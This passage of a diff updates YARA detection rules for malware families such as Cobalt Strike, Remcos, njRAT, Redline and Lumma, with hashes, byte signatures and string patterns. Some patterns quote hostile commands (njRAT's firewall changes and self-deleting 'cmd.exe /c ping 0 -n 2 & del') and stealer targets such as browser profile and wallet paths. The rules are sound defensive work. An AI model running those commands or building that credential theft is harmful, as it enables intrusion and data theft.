"9aba6cdf-1491-579d-b4a7-fe229272015d" - date = "2023-12-28" - modified = "2023-12-28" + id = "48b659f8-cd26-540a-89b6-6349f8d21e8f" + date = "2023-08-27" + modified = "2024-03-03" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_solarmarker_stage2_bytecodes_dec_2023.yar#L1-L20" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_medusa_dotnet_bytecodes.yar#L1-L17" license_url = "N/A" - hash = "4a3b60496a793ee96a51fecf8690ef8312429a6b54d32f2a4424395c47b47fc8" - hash = "e0b2457491a8c2d50710aa343ad1957a76f83ceaf680165ffa0e287fe18abbd6" - logic_hash = "8e50e5942f0029ffda1d9750f8cc8e004a2512e50b6a14c1619ae0b83477a944" + hash = "a1211549b4e1a7befd953d03b4d929b3dc9f25ec6c1bc9c05ae92a0ec08fb77c" + logic_hash = "aa01afd6981af99625a9fca93e512cc00931aca18e55c5cb6dee11efb9ea2968" score = 75 quality = 75 tags = "" strings: - $s1 = {6F ?? ?? 00 0A 1F 20 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 09 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0A 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0D 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0A } + $s1 = {1F ?? 8D ?? ?? ?? 01 25 16 72 ?? ?? ?? 70 A2 25 17 72 ?? ?? ?? 70 28 ?? ?? ?? 0A A2 25 18 20 ?? ?? ?? 00 13 04 12 04 28 ?? ?? ?? 0A A2 25 19 20 ?? ?? ?? 00 13 ?? 12 } + $s2 = "\\Medusa\\obj\\Release\\Medusa.pdb" ascii condition: - $s1 + $s1 or $s2 } -rule EMBEERESEARCH_Win_Cobalt_Strike_Loader_Shellcode_Jun_2023 : FILE +rule EMBEERESEARCH_Win_Cobalt_Sleep_Encrypt : FILE { meta: - description = "Detection of an encoder observed with Cobalt Strike shellcode" - author = "Matthew @ Embee_research" - id = "ea52b9e7-f2bd-5c9f-9ee1-506baa48be84" - date = "2023-07-03" - modified = "2023-07-03" + description = "Detects Sleep Encryption Logic Found in Cobalt Strike Deployments" + author = "Matthew @ Embee_Research" + id = "6bd6fbb4-6634-5b51-90f0-f24e48d69043" + date = "2023-08-27" + modified = "2023-10-18" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_shellcode_encoder_jun_2023.yar#L1-L21" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_sleep_encrypt_aug_2023.yar#L1-L55" license_url = "N/A" - logic_hash = "42b4b9ab681f3164168de84e76bcd8161865fa9e5871d70a6de534b23896e4f0" + hash = "26b2f12906c3590c8272b80358867944fd86b9f2cc21ee6f76f023db812e5bb1" + logic_hash = "7aa2674ecaaae819c3f26924fa0622df322b1214493f37b1bdf5e00ba5ee98e6" score = 75 quality = 75 tags = "FILE" - vendor = "" strings: - $get_enc_offset = {8b 88 c0 00 00 00 8b 90 c4 00 00 00 48 8d b0 c8 00 00 00} - $decode_loop = {ac 83 e1 03 d2 c8 ff c1 aa ff ca 75 f3} - $b64_initial_bytes = "SInISIlMJAiLiMAAAACLkMQAAABIjbDIAAAA" wide ascii + $r1_nokey = {4E 8B 04 08 B8 ?? ?? ?? ?? 41 F7 E3 41 8B C3 C1 EA 02 41 FF C3 6B D2 0D 2B C2 8A 4C 18 18 41 30 0C 38 48 8B 43 10 41 8B FB 4A 3B 7C 08 08} + $r2_nokey = {49 8B F9 4C 8B 03 B8 ?? ?? ?? ?? 41 F7 E1 41 8B C1 C1 EA 02 41 FF C1 6B D2 0D 2B C2 8A 4C 18 18 42 30 0C 07 48 FF C7 45 3B CB} condition: - (( $get_enc_offset and $decode_loop ) or $b64_initial_bytes ) and filesize < 10000KB + ($r1_nokey or $r2_nokey ) } -rule EMBEERESEARCH_Win_Lumma_Simple_Strings : FILE +rule EMBEERESEARCH_Win_Remcos_Rat_Unpacked : FILE { meta: - description = "" + description = "Detects strings present in remcos rat Samples." author = "Matthew @ Embee_Research" - id = "d949d547-a2ee-56d9-8510-74f3b718b2c0" - date = "2023-09-13" - modified = "2023-09-21" + id = "d4282638-592a-5c07-b07b-937e2a7879e4" + date = "2023-08-27" + modified = "2023-10-18" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_lumma _simple_sep_2023.yar#L1-L40" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_remcos_rat_unpacked_aug_2023.yar#L2-L32" license_url = "N/A" - hash = "277d7f450268aeb4e7fe942f70a9df63aa429d703e9400370f0621a438e918bf" - logic_hash = "0b3cb6721d26b79afe892b1c4df5e54c18cd7a5492aeacd442deca6b9b926f3c" + hash = "ec901217558e77f2f449031a6a1190b1e99b30fa1bb8d8dabc3a99bc69833784" + logic_hash = "c6d1772a5517b104de3022f4bab55d92784d35c3a252a4e0516083d8bd28cad0" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "Binedx765ance Chaedx765in Waledx765let" wide - $s2 = "%appdaedx765ta%\\Moedx765zilla\\Firedx765efox\\Profedx765iles" - $s3 = "\\Locedx765al Extensedx765ion Settinedx765gs\\" - $s4 = "%appdedx765ata%\\Opedx765era Softwedx765are\\Opedx765era GX Staedx765ble" - $o1 = {57 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 65 00 62 00 20 00 44 00 61 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 74 00 61 00} - $o2 = {4f 00 70 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 65 00 72 00 61 00 20 00 4e 00 65 00 6f 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 6e 00} - $o3 = {4c 00 6f 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 67 00 69 00 6e 00 20 00 44 00 61 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 74 00 61 00} + $r0 = " ______ " ascii + $r1 = "(_____ \\ " ascii + $r2 = " _____) )_____ ____ ____ ___ ___ " ascii + $r3 = "| __ /| ___ | \\ / ___) _ \\ /___)" ascii + $r4 = "| | \\ \\| ____| | | ( (__| |_| |___ |" ascii + $r5 = "|_| |_|_____)_|_|_|\\____)___/(___/ " ascii + $s1 = "Watchdog module activated" ascii + $s2 = "Remcos restarted by watchdog!" ascii + $s3 = " BreakingSecurity.net" ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( ( all of ( $s* ) ) or ( all of ( $o* ) ) ) + (( all of ( $r* ) ) or ( all of ( $s* ) ) ) +} + +rule EMBEERESEARCH_Win_Agent_Tesla_Bytecodes_Sep_2023 +{ + meta: + description = "No description has been set in the source file - EmbeeResearch" + author = "Matthew @embee_research" + id = "9d1c5010-7c64-5a6a-bf60-35c042732761" + date = "2023-09-21" + modified = "2023-09-21" + reference = "https://github.com/embee-research/Yara-detection-rules/" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_agent_tesla_bytecodes_sep_2023.yar#L4-L21" + license_url = "N/A" + hash = "ce696cf7a6111f5e7c6781854de04ddc262b6c9b39c059fd5435dfb3b8901f04" + hash = "afc29232c4989587db2c54b7c9f145fd0d73537e045ece15338582ede5389fce" + hash = "fba4374163ba25c9dc572f1a5d7f3e46e09531ab964d808f3dde2a19c05a2ee5" + logic_hash = "1cc40ab16dfa5245b3146e4512509037f540d59e155040a2336a97cd0f42e612" + score = 75 + quality = 75 + tags = "" + + strings: + $s1 = {8F ?? ?? ?? ?? 25 47 FE ?? ?? ?? FE ?? ?? ?? 91 61 D2 52 20 ?? ?? ?? ?? FE ?? ?? ?? } + + condition: + dotnet.is_dotnet and $s1 } rule EMBEERESEARCH_Win_Njrat_Bytecodes_Oct_2023 @@ -172762,28 +172730,83 @@ rule EMBEERESEARCH_Win_Njrat_Bytecodes_Oct_2023 condition: dotnet.is_dotnet and $s1 } -rule EMBEERESEARCH_Win_Marsstealer_Encryption_Bytecodes +rule EMBEERESEARCH_Win_Darkgate_Xllloader_Oct_2023 { meta: - description = "Encryption observed in MarsStealer" + description = "Detects XLL Files Related to DarkGate" author = "Matthew @ Embee_Research" - id = "7a66ea9c-966e-5780-8b36-a268904b9c1b" - date = "2023-12-24" - modified = "2023-12-24" + id = "4b5d9a2d-90ee-5452-83be-1677e1888045" + date = "2023-10-03" + modified = "2023-10-04" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_marsStealer_encryption_bytecodes_dec_2023.yar#L1-L16" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_darkgate_xll_loader_oct_2023.yar#L2-L23" license_url = "N/A" - hash = "7a391340b6677f74bcf896b5cc16a470543e2a384049df47949038df5e770df1" - logic_hash = "49ffde28c8823c00959ddbaa516fc48c7908b533c8f91608b0e3a645045c9048" + hash = "091b7c16791cf976e684fe22ee18a4099a4e26ec75fa145b85dd14603b466b00" + hash = "305de78353b0d599cd40a73c7e639df7f5946d1fc36691c8f7798a99ee6835e7" + hash = "98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f" + hash = "27ec297e1fc34e29963303782ff881e74f8bd4126f4c5be0c4754f745d85f79a" + hash = "392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23" + hash = "9a34b32d0a66dd4f59aeea82ef48f335913c47c6ca901ab109df702cd166892f" + logic_hash = "ea9a166550c53225b0a06e2cd86760f63aed8973e889a457470bdba3d87ce6af" score = 75 quality = 75 tags = "" strings: - $s1 = {31 2d 3d 31 73 30 02 39 c0 74 0a 5b 70 61 73 64 6c 30 71 77 69 8d 5b 01 8d 52 01 39 eb 75 03 83 eb 20 39 ca} + $s1 = "xlAutoOpen" wide ascii + $s2 = { 49 ?? ?? 4c ?? ?? 48 ?? ?? 48 ?? ?? 02 e8 ?? ?? ?? ?? 48 ?? ?? 31 ?? 48 ?? ?? 01 48 ?? ?? 41 ?? ?? ?? ?? 30 ?? 48 ?? ?? 01 49 ?? ?? 75 ?? } condition: - $s1 + ( all of ( $s* ) ) +} + +rule EMBEERESEARCH_Win_Xworm_Bytestring +{ + meta: + description = "Detects bytestring present in unobfuscated xworm" + author = "Matthew @ Embee_Research" + id = "b7bad89d-ff15-50ae-8c97-64b181dad07f" + date = "2023-08-27" + modified = "2023-10-18" + reference = "https://github.com/embee-research/Yara-detection-rules/" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_xworm_bytestring_sep_2023.yar#L3-L24" + license_url = "N/A" + hash = "8948b34d471db1e334e6caa00492bd11a60d0ec378933386b0cb7bc1b971c102" + hash = "52634ade55558807042eae35e2777894e405e811102e980a2e2b25d151fde121" + logic_hash = "dd9955c3616ee65cf94625f5fc92298464a9a3b6deaf32ae70d7e8206c0ceb5b" + score = 50 + quality = 75 + tags = "" + + strings: + $p1 = { 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? } + + condition: + dotnet.is_dotnet and $p1 +} + +rule EMBEERESEARCH_Win_Solarmarker_Bytecodes : FILE +{ + meta: + description = "Detects bytecodes present in solarmarker Packer" + author = "Matthew @ Embee_Research" + id = "d405e7ae-f09b-5993-a510-e5e1bc289898" + date = "2023-09-10" + modified = "2023-09-11" + reference = "https://github.com/embee-research/Yara-detection-rules/" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_solarmarker_bytecodes_aug_2023.yar#L3-L21" + license_url = "N/A" + hash = "a433dad1e31f2e19ab5d22b6348c73fa4c874502acc20d5517d785b554754279" + logic_hash = "52256184706b7173ee8e8683ac79c1b9d4773778c135e4dae255376c0a6651fb" + score = 75 + quality = 75 + tags = "FILE" + + strings: + $s1 = {8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 20 ?? ?? ?? ?? 13 ?? 06 11 ?? 20 ?? ?? ?? ?? 58 D1 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 20 ?? ?? ?? ?? 13 ?? 06 11 ?? 20 ?? ?? ?? ?? 58 D1 8C ?? ?? ?? ?? 28 ?? ?? ?? ??} + + condition: + dotnet.is_dotnet and filesize < 7000KB and $s1 } rule EMBEERESEARCH_Win_Lumma_Update_Simple_Strings_Sep_2023 : FILE { @@ -172839,173 +172862,152 @@ rule EMBEERESEARCH_Win_Xworm_Simple_Strings condition: dotnet.is_dotnet and $x1 and ( 2 of ( $s* ) ) } -rule EMBEERESEARCH_Win_Cobaltstrike_Pipe_Strings_Nov_2023 : FILE +rule EMBEERESEARCH_Win_Ursnif_Patterns_Oct_2022 { meta: - description = "Detects default strings related to cobalt strike named pipes" - author = "Matthew @ Embee_Research" - id = "9237f4e8-b9c4-54cb-9cb2-999d267392af" - date = "2023-11-04" - modified = "2023-11-04" + description = "No description has been set in the source file - EmbeeResearch" + author = "Embee_Research @ Huntress" + id = "2c8da2b7-63f2-5cce-86ab-8a88f50d0263" + date = "2022-10-14" + modified = "2023-06-14" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobaltstrike_pipe_strings_nov_2023.yar#L1-L24" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_ursnif_patterns_oct_2022.yar#L1-L14" license_url = "N/A" - hash = "99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd" - hash = "090402a6e2db12cbdd3a889b7b46bb7702acc0cad37d87ff201230b618fe7ed5" - hash = "eb2b263937f8d28aa9df7277b6f25d10604a5037d5644c98ee0ab8f7a25db7b4" - logic_hash = "ff17fe9d04d9ad6aa5c034b69d412b0d62c48c537c3a54a465761e27e9255e6d" + logic_hash = "241804ea3b7ac98071c533d9a98a45cdd0f7043f11994327c1f79e29f5fdce2c" score = 75 quality = 75 - tags = "FILE" + tags = "" strings: - $s1 = "%c%c%c%c%c%cMSSE-%d-server" - $s2 = "ConnectNamedPipe" - $s3 = "CreateNamedPipeA" - $s4 = "TlsGetValue" + $ursnif = {41 c1 e8 02 45 33 d2 45 8b d9 45 85 c0 74 2f 48 2b ca 83 7c 24 28 00 8b 04 11 44 8b c8 74 0a 85 c0 75 06 44 8d 40 01} + $script = "65,193,232,2,69,51,210,69,139,217,69,133,192,116,47,72,43,202,131,124,36,40,0,139,4,17,68,139,200,116,10,133,192,117,6,68,141,64,1" condition: - ( all of ( $s* ) ) and filesize < 500KB + any of them } -rule EMBEERESEARCH_Win_Redline_Updated_Bytecodes_Oct_2023 +rule EMBEERESEARCH_Win_Berbew_Strings_Dec_2023 { meta: - description = "Configuration related bytecodes in redline .net files" + description = "Strings observed in Berbew malware." author = "Matthew @ Embee_Research" - id = "1e4470cf-fad3-57e5-8a95-deb97e98dbdc" - date = "2023-10-11" - modified = "2023-10-11" + id = "402711af-c543-5c95-ae9e-e663825b6653" + date = "2023-12-24" + modified = "2023-12-26" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_oct_2023.yar#L2-L35" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_berbew_strings_dec_2023.yar#L1-L19" license_url = "N/A" - hash = "0cc3a0f8b48ef8d8562b9cdf9c7cfe7f63faf43a5ac6dc6973dc8bf13b6c88cf" - logic_hash = "77273ba3736baf2c197fb8b17de1e22ba8f2380f73f9114f324ef56bfa508654" + hash = "24dc0af3c51118697df999d8bffcdfc9cbf0d07f2630473450dd826a1ae4b9ae" + logic_hash = "a7f687e749ec69961777063d52678461a8e288c80037fac051d7b1a5b568d9e8" score = 75 quality = 75 tags = "" strings: - $s_1 = { - 20 ?? ?? ?? ?? // ldc.i4 - 2B 00 // br.s - 28 ?? ?? ?? 2B // Call - 80 ?? ?? ?? 04 // stsfld - (20 ?? ?? ?? ?? 2B00 28 ?? ?? ?? 2B | 72 ?? ?? ?? 70) // ldc.i4, br.s, call OR ldstr - 80 ?? ?? ?? 04 // Call - (20 ?? ?? ?? ?? 2B00 28 ?? ?? ?? 2B | 72 ?? ?? ?? 70) // ldc.i4, br.s, call OR ldstr - 80 ?? ?? ?? 04 // Call - 20 ?? ?? ?? ?? // ldc.i4 - 2B00 // br.s - 28 ?? ?? ?? 2B // Call - 80 ?? ?? ?? 04 // stsfld - 2A // ret - } - $s_2 = "mscoree.dll" + $s1 = "This KEWL STUFF was coded by V. V. PUPKIN" + $s2 = "REAL CASH, REAL BITCHEZ" + $s3 = "Please, enter your Card Number" condition: - $s_1 and $s_2 + all of them } - -rule EMBEERESEARCH_Win_Quasar_Rat_Client : FILE +rule EMBEERESEARCH_Win_Marsstealer_Encryption_Bytecodes { meta: - description = "Detects strings present in Quasar Rat Samples." + description = "Encryption observed in MarsStealer" author = "Matthew @ Embee_Research" - id = "7fc0bd6d-e187-51b7-a8b8-68b17271cef8" - date = "2023-08-27" - modified = "2023-10-18" + id = "7a66ea9c-966e-5780-8b36-a268904b9c1b" + date = "2023-12-24" + modified = "2023-12-24" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_quasar_rat_client_aug_2023.yar#L3-L37" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_marsStealer_encryption_bytecodes_dec_2023.yar#L1-L16" license_url = "N/A" - hash = "914d88f295ac2213f37d3f71e6d4383979283d1728079a208f286effb44d840c" - hash = "45a724179ae1d08044c4bafb69c7f9cdb4ed35891dc9cf24aa664d75464ceb6d" - hash = "7e13bcd73232c3f33410aa95f61e1196a2f9ae35e05c1f9c8f251e07077a9dfb" - logic_hash = "efba911780ffb144f277e88ff8ca8f53a90c32a677ccb19ec26e71f974a1b91f" + hash = "7a391340b6677f74bcf896b5cc16a470543e2a384049df47949038df5e770df1" + logic_hash = "49ffde28c8823c00959ddbaa516fc48c7908b533c8f91608b0e3a645045c9048" score = 75 quality = 75 - tags = "FILE" + tags = "" strings: - $s1 = "Quasar Client" ascii wide - $s2 = "Quasar.Client.Properties.Resources" ascii wide - $s3 = "Google\\Chrome\\User Data\\Default\\" wide - $s4 = "\\Mozilla\\Firefox\\Profiles" wide - $s5 = "Yandex\\YandexBrowser\\User Data\\Default\\" wide + $s1 = {31 2d 3d 31 73 30 02 39 c0 74 0a 5b 70 61 73 64 6c 30 71 77 69 8d 5b 01 8d 52 01 39 eb 75 03 83 eb 20 39 ca} condition: - uint16( 0 ) == 0x5a4d and dotnet.is_dotnet and filesize < 7000KB and ( for any i in ( 0 .. dotnet.number_of_resources -1 ) : ( dotnet.resources [ i ] . name == "Quasar.Client*" ) or ( 3 of ( $s* ) ) ) + $s1 } - -rule EMBEERESEARCH_Win_Solarmarker_Bytecodes : FILE +rule EMBEERESEARCH_Win_Redline_Bytecodes_Jan_2024 : FILE { meta: - description = "Detects bytecodes present in solarmarker Packer" + description = "Bytecodes found in late 2023 Redline malware" author = "Matthew @ Embee_Research" - id = "d405e7ae-f09b-5993-a510-e5e1bc289898" - date = "2023-09-10" - modified = "2023-09-11" + id = "8acf0fbb-f7d1-5a3d-9ccb-ee21926d6a31" + date = "2023-08-27" + modified = "2024-01-02" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_solarmarker_bytecodes_aug_2023.yar#L3-L21" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_jan_2024.yar#L1-L22" license_url = "N/A" - hash = "a433dad1e31f2e19ab5d22b6348c73fa4c874502acc20d5517d785b554754279" - logic_hash = "52256184706b7173ee8e8683ac79c1b9d4773778c135e4dae255376c0a6651fb" + hash = "ea1271c032046d482ed94c6d2c2c6e3ede9bea57dff13156cabca42b24fb9332" + logic_hash = "43f4d718611c16983071587c2806f92550ebba6bae737c59c63cd8584a5cc01f" score = 75 quality = 75 tags = "FILE" strings: - $s1 = {8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 20 ?? ?? ?? ?? 13 ?? 06 11 ?? 20 ?? ?? ?? ?? 58 D1 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 20 ?? ?? ?? ?? 13 ?? 06 11 ?? 20 ?? ?? ?? ?? 58 D1 8C ?? ?? ?? ?? 28 ?? ?? ?? ??} + $s1 = {00 00 7E ?? ?? ?? 04 7E ?? ?? ?? 04 28 ?? ?? ?? 06 17 8D ?? ?? ?? 01 25 16 1F 7C 9D 6F ?? ?? ?? 0A 13 ?? 16 13 ?? 38 } + $s2 = "mscoree.dll" ascii condition: - dotnet.is_dotnet and filesize < 7000KB and $s1 + $s1 and $s2 and uint16( 0 ) == 0x5a4d } -rule EMBEERESEARCH_Win_Ursnif_Patterns_Oct_2022 + +rule EMBEERESEARCH_Win_Njrat_Strings_Oct_2023 { meta: - description = "No description has been set in the source file - EmbeeResearch" - author = "Embee_Research @ Huntress" - id = "2c8da2b7-63f2-5cce-86ab-8a88f50d0263" - date = "2022-10-14" - modified = "2023-06-14" + description = "" + author = "Matthew @ Embee_Research" + id = "c89711cb-aae9-5409-80c2-145a8d5fca56" + date = "2023-10-03" + modified = "2023-10-03" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_ursnif_patterns_oct_2022.yar#L1-L14" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_strings_oct_2023.yar#L3-L25" license_url = "N/A" - logic_hash = "241804ea3b7ac98071c533d9a98a45cdd0f7043f11994327c1f79e29f5fdce2c" + hash = "59d6e2958780d15131c102a93fefce6e388e81da7dc78d9c230aeb6cab7e3474" + logic_hash = "ed36a991aa2699486f1ef34f4f4d559a3dd351180602f017ad7d868e146c703b" score = 75 quality = 75 tags = "" strings: - $ursnif = {41 c1 e8 02 45 33 d2 45 8b d9 45 85 c0 74 2f 48 2b ca 83 7c 24 28 00 8b 04 11 44 8b c8 74 0a 85 c0 75 06 44 8d 40 01} - $script = "65,193,232,2,69,51,210,69,139,217,69,133,192,116,47,72,43,202,131,124,36,40,0,139,4,17,68,139,200,116,10,133,192,117,6,68,141,64,1" + $s1 = "netsh firewall delete allowedprogram" wide + $s2 = "cmd.exe /c ping 0 -n 2 & del" wide + $s3 = "netsh firewall add allowedprogram" wide + $s4 = "Execute ERROR" wide + $s5 = "Update ERROR" wide + $s6 = "Download ERROR" wide condition: - any of them + dotnet.is_dotnet and ( all of ( $s* ) ) } - -rule EMBEERESEARCH_Win_Xworm_Bytestring +rule EMBEERESEARCH_Win_Redline_Payload_Dec_2023 { meta: - description = "Detects bytestring present in unobfuscated xworm" + description = "Patterns observed in redline" author = "Matthew @ Embee_Research" - id = "b7bad89d-ff15-50ae-8c97-64b181dad07f" - date = "2023-08-27" - modified = "2023-10-18" + id = "6208779a-69b2-55b5-9744-987575c00d96" + date = "2023-12-24" + modified = "2023-12-29" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_xworm_bytestring_sep_2023.yar#L3-L24" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_payload_dec_2023.yar#L1-L16" license_url = "N/A" - hash = "8948b34d471db1e334e6caa00492bd11a60d0ec378933386b0cb7bc1b971c102" - hash = "52634ade55558807042eae35e2777894e405e811102e980a2e2b25d151fde121" - logic_hash = "dd9955c3616ee65cf94625f5fc92298464a9a3b6deaf32ae70d7e8206c0ceb5b" - score = 50 + hash = "5790aead07ce0b9b508392b9a2f363ef77055ae16c44231773849c87a1dd15a4" + logic_hash = "d016baa5017120a3037e9cef7fd649228f7be60e511ecbdedf97916f59eec881" + score = 75 quality = 75 tags = "" strings: - $p1 = { 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? } + $s1 = {16 72 ?? ?? ?? 70 A2 7E ?? ?? ?? 04 17 72 ?? ?? ?? 70 7E ?? ?? ?? 04 16 9A 28 ?? ?? ?? 06 A2 7E ?? ?? ?? 04 18 72 ?? ?? ?? 70 } condition: - dotnet.is_dotnet and $p1 + all of them } rule EMBEERESEARCH_Win_Exela_Stealer_Simple_Strings_Sep_2023 @@ -173040,289 +173042,263 @@ rule EMBEERESEARCH_Win_Exela_Stealer_Simple_Strings_Sep_2023 condition: dotnet.is_dotnet and ( ( all of ( $s* ) ) or ( 3 of ( $e* ) ) ) } -rule EMBEERESEARCH_Win_Orcus_Rat_Simple_Strings_Dec_2023 + +rule EMBEERESEARCH_Win_Icedid_Snowloader_Bytecodes_Oct_2023 { meta: - description = "Strings observed in Orcus RAT" + description = "No description has been set in the source file - EmbeeResearch" author = "Matthew @ Embee_Research" - id = "baef6b96-bf94-5363-9186-9761a8055afd" - date = "2023-12-24" - modified = "2023-12-24" + id = "ad5d7bf5-813d-519d-91ae-e6a69fd557df" + date = "2023-08-27" + modified = "2023-10-18" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_orcus_rat_simple_strings_dec_2023.yar#L1-L26" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_icedid_snowloader_bytecodes_oct_2023.yar#L2-L23" license_url = "N/A" - hash = "30a2a674d55d7898d304713dd2f69a043d875230ea7ebee22596ba4c640768db" - logic_hash = "2e0a44ec2749e0fc646dfb003a2d32b3fecfa07ece72ca5a65116250d80496b8" + hash = "e096de90f65ff83ed0e929b330aa765a8e2322625325fb042775bff1748467cc" + hash = "e87928fcddf13935c91a0b5577e28efd29bb6a5c1d98e5129dec63e231601053" + hash = "82a01607ebdcaa73b9ff201ccb76780ad8de4a99dd3df026dcb71b0f007456ed" + logic_hash = "5baa308ce130cbbe80f94fc127b083f26ae87552910c2bc6f3bae3008cf1aa63" score = 75 quality = 75 tags = "" strings: - $s1 = "Orcus is a Remote Administration Tool for Windows. It allows the administrator to make changes to the system remotely." wide - $s2 = "Orcus.Service" wide - $s4 = "costura.orcus" wide - $s5 = "Orcus.Commands" - $s6 = "Orcus.Shared" - $s7 = "Orcus.Utilities" - $s8 = "Orcus.StaticCommands" - $s9 = "Orcus.Plugins" + $s_1 = {4c 77 26 07} + $s_2 = {58 a4 53 e5} + $s_3 = {10 e1 8a c3} condition: - (5 of them ) + ( all of ( $s* ) ) and pe.number_of_exports > 20 } -rule EMBEERESEARCH_Win_Njrat_Bytecodes_V2_Oct_2023 +rule EMBEERESEARCH_Win_Pikabot_Resource_Entropy_Oct_2023 { meta: - description = "" + description = "Pikabot Loaders embedding encrypted inside of numerous png images" author = "Matthew @ Embee_Research" - id = "9090574e-7ad4-5207-af8b-7b56f2a1c917" + id = "253d35ae-a325-51c7-8da5-32bb46c51acd" date = "2023-10-03" modified = "2023-10-08" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_bytecodes_v2_oct_2023.yar#L5-L27" - license_url = "N/A" - hash = "9877fc613035d533feda6adc6848e183bf8c8660de3a34b1acd73c75e62e2823" - hash = 